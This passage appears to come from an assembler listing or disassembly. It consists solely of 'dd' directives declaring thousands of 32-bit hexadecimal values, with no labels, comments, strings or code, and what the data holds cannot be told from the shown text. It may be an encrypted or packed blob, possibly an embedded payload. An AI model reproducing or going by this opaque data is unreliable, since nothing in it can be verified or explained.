4039281Dh, 8B633050h dd 0BF000B4Dh, 0B108092Bh, 5E42F9h, 0FF1E4080h, 0B78117C3h dd 0DC5ADA24h, 0BFB5D980h, 0D2DCFE5Ch, 6A41EF9h, 59352B6Eh dd 3DBCA000h, 0BF1C6154h, 1FCE00AEh, 277CE3C7h, 300012D1h dd 0B2C04FC9h, 59BC5BBh, 0E9CA06BFh, 0D2F0032Ch, 280A15FCh dd 0CEC5C9A9h, 8075F70Ah, 0F0042C12h, 0B101760Bh, 8FC63AD2h dd 0A250D198h, 0E09B7DEBh, 14ED0889h, 5457DDB1h, 906DD900h dd 765FC02h, 0CD00EBB8h, 7BAF56FEh, 3DBBF587h, 0E00534AEh dd 4E71467Ah, 0B2208BD8h, 3C025DBAh, 0DF577D18h, 333251h dd 21453E17h, 786FC7ADh, 94F0BB1Ch, 9A26FC40h, 2D8A0ACh dd 8F16C499h, 90AF302Bh, 6C811AABh, 213BBC46h, 0A679F1D6h dd 22093478h, 8308D99h, 419C06h, 0B7A9AACFh, 6DD310DDh dd 89DE5630h, 76E90785h, 6740051Fh, 0FA3627E3h, 0C0007884h dd 0C5CE3ED0h, 2B5D10F8h, 86B200A2h, 7788CCFEh, 0B061E2D4h dd 84A120E8h, 0C0FD4600h, 0CF5F4973h, 0B722127Eh, 0B030406Eh dd 0E0CCCED5h, 68290828h, 3B0D733Bh, 0AF50809Bh, 5318A293h dd 63D402B1h, 46E3AA70h, 120FE864h, 60AF9010h, 3E2A0575h dd 5B5700CBh, 0D6FD6A01h, 0EDF629E8h, 22EF7303h, 1E007B5h dd 1F9C2CF8h, 10205625h, 17A3A1Dh, 0F35743E8h, 40F0A1A5h dd 6F73C3E2h, 0D0BFC79h, 2E0EB27h, 6C9D7EC4h, 0ED92E18h dd 62A3138Dh, 22205118h, 4B0EC1h, 0D9842349h, 0D030266Eh dd 0AACC1813h, 0D40CD052h, 1A91094h, 2C1EE94Fh, 87CD569Dh dd 7A5B3BA1h, 5C71A317h, 19808BF2h, 0B7E4350h, 1511607Bh dd 0BF002357h, 0EC4F08B7h, 5C0059CCh, 5E37FEFAh, 0E4A3DF20h dd 6A0512CEh, 45840A4Fh, 65E240A8h, 0A60069D9h, 0E909DE97h dd 4CF1BD77h, 8D0F98ADh, 0E12A26Fh, 0E4F52801h, 3EF29104h dd 0F49C80EDh, 0FA189218h, 0B410D8B6h, 0A860E422h, 13CBCC84h dd 3127Dh, 65AB43C4h, 0CF4CC4B1h, 8C58BCC0h, 60E05900h dd 0BEF1299Bh, 0C289ADEh, 736EB60Dh, 509037D8h, 0D7508401h dd 891BE8A7h, 2CD3030h, 0E0D699C0h, 0C4E1B137h, 699C4856h dd 72AB3807h, 9BB3DFF8h, 1377D36Dh, 0BDDBE7Eh, 0D000A930h dd 0AD05B6F6h, 4AEA4874h, 446B70C9h, 0F0461258h, 285488DBh dd 703649h, 0E05D9CDCh, 98C78605h, 0FDC40450h, 809A4426h dd 4372E204h, 9814816h, 0C0C5B408h, 0F5CBEFB4h, 87228446h dd 0EF9CB20Fh, 78D480A6h, 9039F4E3h, 0CB48C824h, 0CDEFB2C0h dd 895421F5h, 0EF9AB060h, 0FB6E004Bh, 7DF42E5Ch, 0DCA0661Ah dd 3026D2BDh, 468794BFh, 396DF6F5h, 636E5DD4h, 4833285Eh dd 89315189h, 92EF43F9h, 3EC86084h, 0AEB78077h, 5A703901h dd 0ED46840Ch, 4B06C070h, 10F86FA8h, 68846F6Eh, 20426AE2h dd 80E68911h, 0E843A9ADh, 0A2EDE6DEh, 31900F68h, 0A1BCA900h dd 39596BB4h, 685070Ch, 2C4FD875h, 8FDCD015h, 0E0E1D682h dd 0C8CADAB1h, 3B0FD19Ah, 1CCFA88Bh, 6DD5BEC1h, 0C8D1ABBCh dd 0F07E88CCh, 0DA8300C7h, 0A48CA33Ch, 0D300A2C6h, 0AED1C56Fh dd 1C21CD7h, 0D6132C9Fh, 0FCC67085h, 3824DEACh, 0C70002D2h dd 3BE3A8A3h, 0F38A57Fh, 0A60FAD29h, 5418AC0Ah, 1EA9263Ah dd 0AEDACED8h, 0D1C260B0h, 0A6880039h, 82AD1C2Ch, 890026CFh dd 0AFC77CD3h, 0E51A83AEh, 2E3575E0h, 14A2BFD6h, 0E20F687Fh dd 9F0619C5h, 0CCAA39DCh, 517E043Eh, 0E5107260h, 0B818ACF2h dd 0B5A4096Ch, 0DC80E2CDh, 0F34DCA1Ch, 0C8FF93Dh, 307DC57Ch dd 5D7818ECh, 56D219DDh, 42C9F5F1h, 0A0406E08h, 663EEABDh dd 7B63BE7Fh, 59CEE530h, 5C0D016Bh, 0C463831h, 72888434h dd 7450750Ch, 0EAB20E0Dh, 0A09059D3h, 0F2E283CDh, 0E3411306h dd 0ACB841D4h, 8580016Ch, 0E128A919h, 0D2E37842h, 9C588469h dd 1D74F23Bh, 0FC0EA1F9h, 405A8751h, 89C2DAD4h, 0F8C4E222h dd 0B51AEF0Ch, 7E4E28A3h, 0CFF63DE8h, 0C3AE994h, 447D0C4Ch dd 7510F474h, 0AF007CCEh, 28488FA8h, 1550FCB7h, 5B122C0Ch dd 0FC42C7F3h, 68CA0E46h, 1D3CF7D8h, 668B19Ch, 19CBEE4Fh dd 4A486C3Ch, 0D2B73045h, 0FFC5800h, 0A77CE6C5h, 45124464h dd 1880DFA9h, 80E0E2C9h, 0BCA4B0F2h, 835B881h, 3B4B4ABh dd 0AFD22C53h, 0CFD5190Ah, 8F65F8BDh, 7ECEE004h, 0E3105CC1h dd 0CD488214h, 32D23320h, 15C1C224h, 8C9B0276h, 0A8E451E4h dd 26EF7CB0h, 4C7C4DF5h, 0C484DF98h, 4BECAF90h, 0FF6420D7h dd 0C63D05D3h, 2872CEA9h, 1C628884h, 416DD2E0h, 6C086E64h dd 0FEB02122h, 4BA22A05h, 8D3A12E0h, 0C80C379Dh, 0AB4680A1h dd 280C8C99h, 3E8CF31Ah, 0E62C0EDEh, 6929FE04h, 7C8188CAh dd 2CA972CFh, 118CF442h, 16DFDD33h, 62F62F40h, 28A15814h dd 0B96B1261h, 99A3C180h, 988A0A0Ch, 0C4DC378Ch, 0B20CCFB1h dd 9C2C158Bh, 0A86A2308h, 2814F9A8h, 99D1D180h, 0C0E850Ch dd 91A8D0A0h, 1847FE9Ch, 0C98637A8h, 0A03ED3B1h, 6FC0D142h dd 5CA8233Fh, 0A3531492h, 857458D8h, 50E17E28h, 3221505Fh dd 0A1AC3750h, 0FB113CE4h, 812DCEE3h, 0CAC656F0h, 6DD80A79h dd 584DF281h, 494CCB95h, 4F11AA2Ch, 23DCAEF8h, 200A4E7Eh dd 0CAD72698h, 0AD49A724h, 29F3B53Ch, 977D7804h, 0CC45DC14h dd 0E1803C7Dh, 0C57F4AD4h, 7DC4BC50h, 201B8C22h, 0D6E591F2h dd 0D53A844h, 3AFC0E3Ch, 0AAE1B1ABh, 816FE4Bh, 4BB4F79h dd 3CD8A8F2h, 62401FE0h, 56088F3Fh, 76440992h, 58591C20h dd 0DA01BFAEh, 5AB1C56Bh, 603DB023h, 11205B00h, 0C95718CCh dd 0AA00A092h, 2481F22Eh, 185FB2FDh, 3166519Ch, 0F4004274h dd 69A7D1EAh, 1CB537F2h dd 8852A4h, 0C51C0C9Dh, 0EAF4A999h, 0DF509761h, 0A468B422h dd 26E6DE81h, 0A100C74Eh, 2AE94D81h, 3AECAC1Fh, 0E81D037Eh dd 3D7F4EB8h, 3146D200h, 511D6773h, 0E0C0E752h, 11CBC229h dd 0DFAE03AAh, 0D132A362h, 56F7FAE8h, 0BA0B370Fh, 0EFE803A2h dd 0E0D6D84Bh, 5F51003Ch, 75480810h, 0CE60C95Ch, 0F64246F1h dd 39B0031h, 0AA38B7E5h, 84FD4A6Bh, 0E04C4F20h, 445424D2h dd 480E0760h, 2FC67AFDh, 56714760h, 0CD1E7C10h, 0D60046D0h dd 0A97BDDDBh, 40C50626h, 0D05F6802h, 84A3980Fh, 43B481B3h dd 85E09E75h, 5B9A0006h, 5798471Eh, 72E8048Ch, 25078B15h dd 638CF14h, 0F305891h, 70815C6Bh, 53A5782h, 96018C00h dd 73D036Fh, 0A853A199h, 7381A0F8h, 40C46907h, 4F669C04h dd 86700018h, 805D6E78h, 0A5366974h, 74288087h, 89700E0Fh dd 3F816A7Dh, 86736874h, 39579278h, 89A50C50h, 68596A76h dd 748E5914h, 0A81D850Ch, 9D038440h, 0A7B3CA1h, 75817295h dd 2890188h, 801E5696h, 0E0231D29h, 7859D1D9h, 6025EC3Fh dd 0FFA81833h, 9214BF7Eh, 3918FE70h, 0C12480DFh, 5C7FAE27h dd 0F6FECD6h, 5AB59F39h, 8191D940h, 0DA00CFE7h, 1D1FB758h dd 5BCCB8h, 0AEC43F66h, 1678F5A8h, 19982979h, 71C0267Eh dd 0C7FC347Fh, 177E2035h, 689EC400h, 91999425h, 6F28C33Bh dd 21A7A7A5h, 11CF6BAh, 24F0DAh, 0C418A39Dh, 0E5662843h dd 0C3F6821h, 58D118DDh, 9C1B812Ah, 0C1B92C80h, 0A3B711F1h dd 0E2A20601h, 98FD40A0h, 29C7EEBAh, 37415145h, 598C1B7Eh dd 8081E906h, 38ECA8A4h, 0D3591164h, 91366240h, 0AE0C2E2Bh dd 20239E1Eh, 0AAD205C0h, 81855E2h, 32C4C2D0h, 18BD5B31h dd 6F0AC6DCh, 0DD3030D5h, 0ED1CB912h, 68296724h, 0EC1F40BBh dd 0A4A9FE75h, 3CC982FBh, 880C8A9Bh, 6BEA8DCh, 0E31B0E3h dd 0D4051831h, 0E1A31824h, 0D3404CA0h, 840358A2h, 4139E541h dd 0F97C92D8h, 0B925180Ch, 0CB7618FBh, 0D380312Ah, 263B19C5h dd 0EE9C4C05h, 0E8E8581Eh, 0EF9180F3h, 67FB25B8h, 0B9C26E3Fh dd 0B2366302h, 1F42A490h, 9B086485h, 78B86274h, 12421696h dd 9B717721h, 4421450Ch, 0C450B166h, 0E45F13E1h, 45C7C82Ah dd 10503E27h, 35A24619h, 6ACF7884h, 0A203E910h, 0D72882EBh dd 0FD841FC4h, 0E17267E0h, 851ABF11h, 506242D9h, 1A8711D6h dd 28E9DD84h, 2F568489h, 1A69A1A0h, 234CDA18h, 6C21925Ch dd 0A6123C25h, 0D9456064h, 60313EC0h, 0C6B32124h, 61DA4A0Bh dd 0E8848E40h, 3A53803Bh, 8F2E9064h, 890C58D0h, 0A67C8458h dd 27FC18D2h, 0B99891F8h, 0BA0848CEh, 0C48CE54Dh, 0D0CDE741h dd 0A29A94ECh, 0CC502E74h, 912A39FEh, 0E2E401C4h, 82E34136h dd 0BCF34441h, 6A09131h, 44D29859h, 0A249C0F0h, 0DAFD1CDCh dd 0B8E04Dh, 5684634Ch, 697880h, 9C7388E4h, 97483B70h dd 9747274h, 7E0040F4h, 9EEBA06Dh, 0F84A571h, 8B704506h dd 89E498C1h, 1960EA01h, 5D1F9D75h, 333A498Dh, 0F5A2882h dd 8A579010h, 86A18480h, 0E4789E07h, 0A0987403h, 0C06C03FDh dd 0B896063Eh, 0F06BE80Ch, 0F73788Dh, 900A8C5Fh, 5AC5C9B9h dd 3181FB04h, 20A16B67h, 96056AB4h, 0C499718Fh, 0F4E91829h dd 173F3C34h, 3AAA9Bh, 7E9D6F84h, 1A258435h, 266C34C4h dd 82D43901h, 4F2F09B1h, 0B72C0F60h, 5055F52Eh, 56908h dd 0E84CE6B3h, 9A18F7D7h, 0BC9026F2h, 0A1780020h, 19EBB251h dd 6125EAF0h, 7BB810D8h, 712005Dh, 3E1128B7h, 18C19EF4h dd 0B2B641B1h, 0D910708Bh, 340D888h, 449EA98Bh, 1C5BD907h dd 1C4F257Ah, 0E8836C2Eh, 0EAAEE74Fh, 5F7C90CDh, 114E709Dh dd 0B0E7DECCh, 0B256E01Eh, 63760B54h, 780CFACBh, 86104C68h dd 59102ED9h, 0E526164Ah, 81A2001Fh, 0DC346899h, 0F79B0576h dd 181854D3h, 6AE0509Ch, 301FB618h, 5227A8B1h, 79818C22h dd 1E046F5Bh, 0ACE48160h, 88A148D4h, 3462DDh, 0F7E52335h dd 491DA166h, 78000CC3h, 0A96182DDh, 7012B7E2h, 2CD16E4Ah dd 48433AA8h, 0AE4824C4h, 8A66E42Ch, 7D6F364h, 0DBE43059h dd 0E731C0A7h, 2D0344DEh, 0E2F05C1Fh, 739C8029h, 6B7901FEh dd 84723957h, 6604E159h, 5430178h, 78B7345h, 49F05461h dd 2D54097Ah, 6CC39148h, 9BE2F698h, 81444CFFh, 8CF28F01h dd 218D6F0Ch, 0A180458h, 0D203F4Fh, 708680Ch, 0F3D5D4Bh dd 30252991h, 881728Ah, 190C054Bh, 5458862h, 44A03A0Ah dd 0CC92E6E4h, 29D0B657h, 0FA9A08A0h, 24C0509h, 0CE52306Ch dd 10942E59h, 882664A2h, 14F45311h, 527C0846h, 0E6107095h dd 9C3626ACh, 0E6A405DFh, 790C219Ch, 8C59E5h, 20837250h dd 0A418646Ah, 6250A94Bh, 1AE019CCh, 221F0991h, 99149618h dd 12EB09E6h, 48E124E4h, 22E791E2h, 0EEED44E0h, 0EC12F389h dd 3EC0E927h, 1C522E4Dh, 94285076h, 0C08CF479h, 84A53BB8h dd 0BA041894h, 940851CAh, 800BC0Eh, 3D1DFC5Eh, 2D7CC224h dd 6E1F3F7Ch, 0F98025AAh, 1EFF2640h, 6A5E0307h, 42242D1Fh dd 7A89FEA7h, 4019E88Fh, 406A0175h, 0D008E02h, 426A0F9h dd 95A91F58h, 0BF48A69Fh, 0FA043FF4h, 9895C1ACh, 1D544E88h dd 5149672Ch, 28747C36h, 685838A5h, 599308A1h, 5501C475h dd 2B538D6Fh, 452A0991h, 0FA040B38h, 0DCBBB0AEh, 0ED2400F1h dd 27A08CFAh, 0A9679AE1h, 38BAF021h, 0DDB00157h, 0D0052AE4h dd 0F87CA724h, 18397530h, 14003FCh, 6E259D90h, 43381EEAh dd 91E0781Ch, 0D80AFFBDh, 28C1456Fh, 70EA3145h, 6459A4E4h dd 46417B6Eh, 7CD0EE1Ah, 75E7D82h, 54B32755h, 715C8097h dd 780020C4h, 632D5698h, 187A570h, 93A19E0Ah, 0D080256Ah dd 3BFA8406h, 72985300h, 0A19A0288h, 4BA83E5Eh, 693F3F3Dh dd 6F003B3Fh, 64053D5Dh, 0F0E958C5h, 74183EB6h, 6C406E9Ch dd 68A0173h, 0F87BD90h, 5404896h, 3C6E6B3Eh, 1D850F04h dd 3B588364h, 3036C574h, 78810598h, 202CA16Ah, 63EBC1Ch dd 0A89940h, 7580747Bh, 5482576Bh, 0EC8560A4h, 887E0759h dd 533CB3A4h, 8D6D0A46h, 0F6CB18A9h, 0BF9661A4h, 0E88CE52Ah dd 2CACC46Ah, 98738014h, 2A740FC4h, 810C81B3h, 38583196h dd 488200A8h, 587E0C40h, 84740381h, 47143257h, 31C50040h dd 5949570Ch, 74A2F47Ch, 5081793Eh, 956F88Ch, 0B12F718Dh dd 8E759C95h, 2A404C53h, 21527065h, 0C4496700h, 738174FAh dd 0F69E897h, 54B482A1h, 0D5723AA4h, 48780000h, 9E2574FBh dd 480D8C3Ch, 96700F98h, 82B4A06Fh, 0EF0293A0h, 50804031h dd 59A98CE1h, 734C3270h, 26CD420h, 8772990Ch, 8DEC407Fh dd 7496480Dh, 50B24DC1h, 0D190A770h, 0B0D07504h, 30905Ch dd 45758156h, 84058E4Eh, 6A985995h, 3FE9658h, 6885D50h dd 59FD96A0h, 48D0914Ch, 7EF071F4h, 405B8431h, 0C030716Bh dd 386E845h, 96E4690Ah, 85A36878h, 0EB8C81C4h, 82A0D89Eh dd 5D97020Bh, 0A570018Dh, 9FD07889h, 9649248Ch, 9C7E03A0h dd 6AC18D70h, 9860835Ch, 748C5Dh, 90028958h, 9D75FDA1h dd 6D4940C1h, 85D18B57h, 9F48C88Fh, 9E078703h, 0F178302Fh dd 2A03194h, 0D0B32A6Ah, 0F828F5EFh, 68E3C74h, 0C0D4E42Eh dd 5966F57h, 60A1452Ch, 0B6464760h, 987B023Eh, 6B768CE4h dd 7195B84Eh, 0C09DE4B0h, 7096071Ch, 950378E8h, 844987A1h dd 970AE06Dh, 18A2C57h dd 70FB2F7Ch, 0CDA4093h, 2CB0C1FEh, 0C4649A05h, 24AC9078h dd 26DC9701h, 3CE4C2E4h, 0A3070C6Ch, 7469483Ah, 0A10F9D4Fh dd 98840E39h, 0B0736828h, 4CC49AA8h, 3E310872h, 65788C09h dd 30E45DC4h, 735969DCh, 0E2FA0FC0h, 200E1702h, 86716952h dd 3C699810h, 41D576Ah, 238D1791h, 2DE57820h, 0FE3C202Ch dd 8AE46098h, 346B0A26h, 586B3Dh, 83579B20h, 0DD687C79h dd 0E2FBC5B0h, 81183453h, 7D516F50h, 1BBBE0Ch, 82463249h dd 846D93B7h, 6C684704h, 7C3C3D3Ah, 35F11842h, 8AC86078h dd 0A16F6605h, 50A37587h, 3B0250E8h, 8A719D53h, 80D8C005h dd 0F64BA59h, 38A19102h, 325B4095h, 508065F8h, 612D8245h dd 9317BEE8h, 20049673h, 0D3BA9D70h, 0F0D45EF0h, 74093C44h dd 0E480579Ch, 219A5A3Ch, 0D06F1ED4h, 6755B70h, 0F805D5Ch dd 3B5997h, 723F4E69h, 43A5179Ch, 5E90077Ch, 5A8F5E58h dd 6505890h, 7D875C6Fh, 703A1F20h, 33F8E69h, 0F4815D84h dd 0C8960650h, 7477A9C1h, 834A6885h, 0A5E0C222h, 2E6B8085h dd 827BCB34h, 0FB6909F8h, 7C34A150h, 9481592Fh, 0A57D1D90h dd 0EF02887h, 0BD756AFDh, 726B6680h, 450C7381h, 2102866Ch dd 706D0706h, 459A0A8Ch, 0EBC81287h, 3990E819h, 2584E06Ch dd 0D80E154h, 0F0104B38h, 1BA56953h, 0E84A7593h, 0B0509CE2h dd 2755651Dh, 8737909h, 8803DC1Ch, 0F589C01h, 8A6C9948h dd 127F84C9h, 48C25DECh, 0C454E0EEh, 80A283C4h, 0E5238C10h dd 5FC0F89Ch, 0C990787h, 96722DE4h, 6A507388h, 453874DCh dd 0D807A880h, 3A7D813Ch, 9A780983h, 4604825Bh, 84808455h dd 3CBC0880h, 2A07E4F6h, 3CF07097h, 9F0B86E4h, 0DCE65E57h dd 90289661h, 18A23FE4h, 68F895C8h, 0DC98588Ah, 60961EC1h dd 977230B0h, 20465ABDh, 95783ED4h, 29445848h, 32A5F484h dd 13F07A64h, 0C305806Eh, 4FE10A30h, 7169F887h, 0A7C3F3Ch dd 0F0033EB6h, 0D406800Bh, 80F55FB4h, 459FE564h, 1000A3B9h dd 307E9B7Ah, 1B1FB7h, 67F449B0h, 0FDE783Fh, 9AF5A402h dd 877B3676h, 4CA02F20h, 6F66D343h, 69803850h, 4EE9CFDh dd 0AE278A00h, 59F77126h, 0DE7B094Ah, 0D06031h, 0D741BD1Eh dd 62FE70C3h, 2E2AF8CEh, 0D02702AEh, 29BA5031h, 1DE04875h dd 550E0A74h, 7020302Dh, 88C2F54h, 0A18B265Ch, 48A9063Ah dd 0B919DCh, 47FA17FDh, 0C1597567h, 8659E32h, 7C5EE9h dd 3FFA5E5Fh, 44313667h, 4B3C8B5h, 50E81EE0h, 0AD8408E1h dd 3846402Ch, 451894EAh, 5BE801CBh, 3C7588BDh, 56D34027h dd 6AA880D8h, 0B2532D93h, 49D60433h, 23C0891Dh, 0C408E03Ah dd 4D290CF6h, 95901C43h, 0D0E8AD25h, 15257376h, 0C4F4AFh dd 0E3648CAh, 9A0DA1A3h, 29FEB998h, 494E6560h, 0E506042Bh dd 72581E5Bh, 354021DEh, 5A7D4DE3h, 423A3344h, 21008B09h dd 0C5E32D85h, 1B12E0Eh, 1CAF1AB6h, 20E5B2E0h, 0E263DA28h dd 80F892C9h, 4CF2C9h, 0C6FC3482h, 0E9649490h, 33C49309h dd 0C8207D80h, 0BDD4B46h, 0FA50BC0Eh, 0F99D3FA5h, 64214118h dd 16DD0753h, 502C13CDh, 1FF3A9C2h, 670A8B7Ch, 0DCF8CFCEh dd 0C8A9871Fh, 880F0B00h, 0A4BAC95h, 3AD88B2Dh, 0C37E1E9Ch dd 0DFA4FBEEh, 0C8708A94h, 24106BEDh, 0EB0009B1h, 10FE7530h dd 534C82D4h, 0EF201C9Dh, 247C2C5Dh, 9A0864C5h, 29B2C02Eh dd 0E08098BBh, 613F6021h, 40F379BDh, 519818D0h, 78608810h dd 0E76E8096h, 0FB22E024h, 89386760h, 24537694h, 0E20CE965h dd 2331AE2Dh, 829A1C4Ch, 0C86B40B8h, 1E5A3C8Ch, 36801449h dd 227D4CE3h, 828E448Ch, 52E32E00h, 0B0E09E80h, 1262E0F2h dd 460F41BCh, 719C0688h, 0FB00E4ECh, 994F6DEAh, 50E77976h dd 52E17C92h, 33048C22h, 0A9A2B26h, 47F4889Ch, 0F51B12C7h dd 0C0528408h, 7D43E33Bh, 88222A46h, 0E3338300h, 0FCD1ECFFh dd 4A1E1AABh, 1C41B01Ch, 808184Fh, 2D66A4FAh, 5840F2C4h dd 645EFA5Fh, 880B8900h, 7468A55Bh, 0BC9820EBh, 0D2B048C1h dd 0DC223A82h, 5A6B781Eh, 0E8011031h, 6642BEh, 9BBBA28Ah dd 6A0C90B0h, 0A0190638h, 0ACCD6678h, 68A08AE6h, 0F1315F08h dd 203814E9h, 153E464Eh, 3F09407h, 2741A249h, 9CA0C8F1h dd 5AE20Dh, 0CF0C8EB4h, 0E950DC15h, 0E3CE6B09h, 0E5C091E2h dd 0C1F042h, 0A41F7EF8h, 7A2CD0C0h, 0F1064E25h, 81486180h dd 91213303h, 2919E007h, 0F84EE179h, 486521h, 0C7503403h dd 9E9BF209h, 0B1311400h, 0B26B7B8Dh, 0EA4A053h, 3E333BE6h dd 0FAD5A809h, 901D2409h, 0C19D8D11h, 3D54B035h, 4B42FDAh dd 4F020171h, 1D0AB234h, 9F318090h, 6C4BE88Bh, 55C60F0Ch dd 0CEE056FCh, 0C7B4F031h, 8413400h, 92D2C34Fh, 17A8C051h dd 1EA67B43h, 0ECF997h, 8CEF312Bh, 0D94C109Dh, 12823B0h dd 0BC08DCA4h, 880A1868h, 0DD724F7Fh, 0DA978673h, 0A1120FC8h dd 0E4E1E2ACh, 0E0E33067h, 540FDB5Ch, 606C1F96h, 43C6AF98h dd 0DB81621h, 0EC0048E1h, 0AB34CA83h, 44CD98E6h, 491E13EEh dd 0D3CA0090h, 9EAF3A8Eh, 530E5B0Ah, 7627EC48h, 0EC4F6054h dd 7406AF86h, 32816DC0h, 5CD91CA9h, 0B2D58737h, 2A9FB070h dd 3560826Eh, 0DF284921h, 0AA7B0019h, 7FA3C653h, 0B104FF1Fh dd 4CDBE9ADh, 428C8DEAh, 4C315324h, 49211420h, 0E29E2449h dd 34B6200h, 4BEE3EEh, 0F0F11E53h, 2A06E35h, 0B0525602h dd 30604475h, 8D399D06h, 4E008C89h, 0DBCFCA7Dh, 2647DEC8h dd 406C826Ah, 7C4D614Bh, 1146DF00h, 0C9279FD9h, 90989826h dd 3F50C0B3h, 2A25CB29h, 0C5B8EE0Ah, 8C25FC19h, 376983h dd 94D9B3C0h, 0D36D0235h, 0E7E8CB00h, 0D693A689h, 0FF73ACh dd 9C9D175Bh, 94E1198Dh, 41C2AFEAh, 0C8D5C1B9h, 2872FAE4h dd 0AC9432BAh, 9B760C88h, 81182CD1h, 4CC13E60h, 7A0B6A8Dh dd 0CAF783Bh, 0A39894F5h, 8093E59h, 2AC6D2E0h, 190818B4h dd 22DD1DEDh, 0BFB341Fh, 332FBA80h, 7D9D31h, 1CDC19CFh dd 0F40145C4h, 0E64D1007h, 0D8D4B208h, 0AD7B7230h, 38E2948h dd 0CB418286h, 0F02FD5BBh, 930F9523h, 0AF2E020Ch, 94E4A446h dd 3F4E4140h, 717D8EB1h, 52CBDB00h, 0AF178601h, 21E40E62h dd 26A3F9A5h, 9816AACDh, 8820911Dh, 3FC4BDh, 952A48FEh dd 24AD12DDh, 0DB1A0700h, 365516Dh, 0AEC40218h, 1FC9C022h dd 9B7AF081h, 0A1F434B6h, 7041C12Ch, 65FC54A7h, 88A8CE6Eh dd 0B3AFC00Ah, 4F600F79h, 389585E8h, 80D463C7h, 684EF77Dh dd 81C6A0ACh, 6004131h, 47B5F97Ah, 919666Bh, 76E01CBAh dd 0A98B8030h, 80847459h, 674BFA0Bh, 0E8448C55h, 0FA520163h dd 0D62CA3F6h, 37EC7054h, 0DC479F41h, 0BEE14230h, 248CA41Ah dd 44E4467Eh, 34E6055h, 79211036h, 8094C8E1h, 0F2037568h dd 5229E022h, 6F40A8FFh, 0EFAF1A5h, 0E12E1B01h, 0A82C3663h dd 5F848C8Ch, 9AF09F05h, 0F8376310h, 0C0C8C3F4h, 4D0F8C2Dh dd 48BC51DDh, 400C64F9h, 54DD5566h, 1B95002Bh, 6701ED73h dd 88606426h, 0A02C3758h, 9CFC91EFh, 0C1EC5BCh, 0AF10018Dh dd 0DD2EEA01h, 0A2006324h, 0B2C4300Fh, 59FE463Ch, 0C053C880h dd 7D82E334h, 89223246h, 0E32C8000h, 0EF7CCAB1h, 5DD82CD5h dd 1D2F0EA1h, 39583736h, 91C42845h, 0AC45AA60h, 4DF76809h dd 4348F8Fh, 94C12AA0h, 0E001B34Bh, 987C4023h, 9CACA47Bh dd 90D76C00h, 1F3EDEEh dd 691C06DAh, 69931DF4h, 0B80048E2h, 3CED4E7Ch, 305BCBF0h dd 3924870Ah, 0FB26E3F6h, 33081008h, 35460249h, 0E575E450h dd 79BC8360h, 1058B8DBh, 975C7C98h, 1B58A068h, 0E9C528B0h dd 85D1CB8h, 657CC1ABh, 0B9FBD01Eh, 0C7484C30h, 0ED61F89Eh dd 0B8223716h, 0A8CA7588h, 5D674A04h, 89F5B898h, 4DFAEC5Eh dd 7162D005h, 24880644h, 6EB3003Bh, 2818F461h, 421D703Fh dd 0B6CFDC3Dh, 86D484F2h, 4D7BC882h, 17CBC8BCh, 0DA9821BBh dd 0D39180EAh, 0F1754573h, 177A002Fh, 36AACF6h, 0B7014D54h dd 52AE8E94h, 0AC620BF2h, 9EFA0F7Dh, 0D840184Eh, 38CB6301h dd 0B8229004h, 608FEB5Dh, 0B7C08688h, 0FED92DA6h, 7E5300F0h dd 2546B1F9h, 0C8A08ED0h, 0F32E41BDh, 7B515C94h, 901A1C4h dd 0ED605721h, 9A80CC95h, 0DF3D5199h, 0E65D00BDh, 85147E6Dh dd 2E0F420Dh, 80BBF404h, 7982DF24h, 6AB00040h, 98EF9A5Eh dd 753E2B8Fh, 0DA4D98BDh, 0BF2440h, 57C012D6h, 5C2871D1h dd 0A008F966h, 0CE9A0721h, 509D6312h, 2EDC88F6h, 75706575h dd 847DD000h, 0DECE57C3h, 283530CDh, 7E670499h, 0B1AE8534h dd 803E5C08h, 0F47E6FE4h, 0A2010806h, 82AB8977h, 21802ADDh dd 2101B9Eh, 4C06C1CDh, 825BB2CAh, 385403C0h, 0BB9114E0h dd 8A031810h, 5C10193Eh, 0FB900528h, 845F86F6h, 0C1006FD6h dd 0AB66854Eh, 0CAEACFh, 0FFBE4555h, 0D7B42476h, 5D275003h dd 0B9F6F9h, 68B89D39h, 9A90460h, 913CDB19h, 21839608h dd 2F6880F8h, 9BB6E8F0h, 0A7EB9E04h, 0BD4A38D1h, 679C1BCh dd 55C8800Ch, 0DBD8F264h, 0DE5E02CAh, 0DCAD4E4Ch, 4D52B8A0h dd 1368AAD4h, 8011D8F1h, 0C212D080h, 448C2157h, 0C80B98A5h dd 3F2512h, 0A621B9A0h, 0D7702DCh, 0DB26D07Bh, 79E8D880h dd 0BA050C3Ch, 25D6828Ah, 7ACCBC40h, 789D22A1h, 3C8C5274h dd 0FE12D402h, 0AB31C157h, 12CC9C10h, 40F7A124h, 9A0DF440h dd 5104696h, 312068D4h, 0AAC8D401h, 0E9A1F7E6h, 18A35938h dd 6D070064h, 0E85CF4EFh, 0D101CAEDh, 2BB00C6Ah, 0B44343CCh dd 500EC0B2h, 109DFB2Ch, 5BAEC206h, 4004088h, 0A0A5AAC0h dd 30586A8Ch, 0FE1851BCh, 543062CAh, 1A77A09Ch, 1EDB248Bh dd 80FA1114h, 46168BFh, 90448CA1h, 688700FBh, 250F7A2Ch dd 820EF11Fh, 63A0166Bh, 3D94CB99h, 0C14DE60h, 4E098C0Ah dd 0B0301263h, 303353AFh, 0FAE0B169h, 0EF2300B2h, 5A30C884h dd 5BAD10D7h, 28706080h, 26D44972h, 62DDC001h, 2B8CBB60h dd 55D10C30h, 5888F87Bh, 70304944h, 3CCD9E4h, 0B355C457h dd 4EE5AB4Dh, 0D1C05CB8h, 0BC944883h, 678F503h, 0A3DFCF5Bh dd 13DEA30Dh, 20AA6698h, 244FA508h, 2C1480h, 87E01F3Ah dd 97B45D59h, 4582B201h, 41AC03AFh, 5ED48087h, 0CBDB20BAh dd 0CE0E83F1h, 81E913CFh, 60CDEB99h, 66285F8h, 6AEFBD1Ah dd 0F760080Ah, 5E18AB21h, 53F30033h, 933B6CF9h, 0DFE2C131h dd 0EDF10B18h, 677428h, 0E7B99005h, 2F701069h, 18C938A9h dd 235E7B66h, 0F2110A62h, 5E1EAD00h, 291A07A8h, 0F137B50Fh dd 0FF689893h, 41F801B7h, 1BEC9587h, 0D49420AEh, 74B268C0h dd 3E10CE27h, 0F90F23CFh, 4F43931Ch, 987CBF01h, 0F0F80314h dd 9735100Ch, 8B595300h, 0D283A560h, 71379090h, 4130D9F2h dd 2A3F11Ch, 48B7A59Ah, 0B500DD13h, 30281E69h, 0ED103DA7h dd 6E0C9045h, 5887E92Fh, 1C4F4CEh, 2B161BBDh, 83919952h dd 241C51C8h, 788803CBh, 0BB20094Fh, 864DA007h, 0CF34BB5h dd 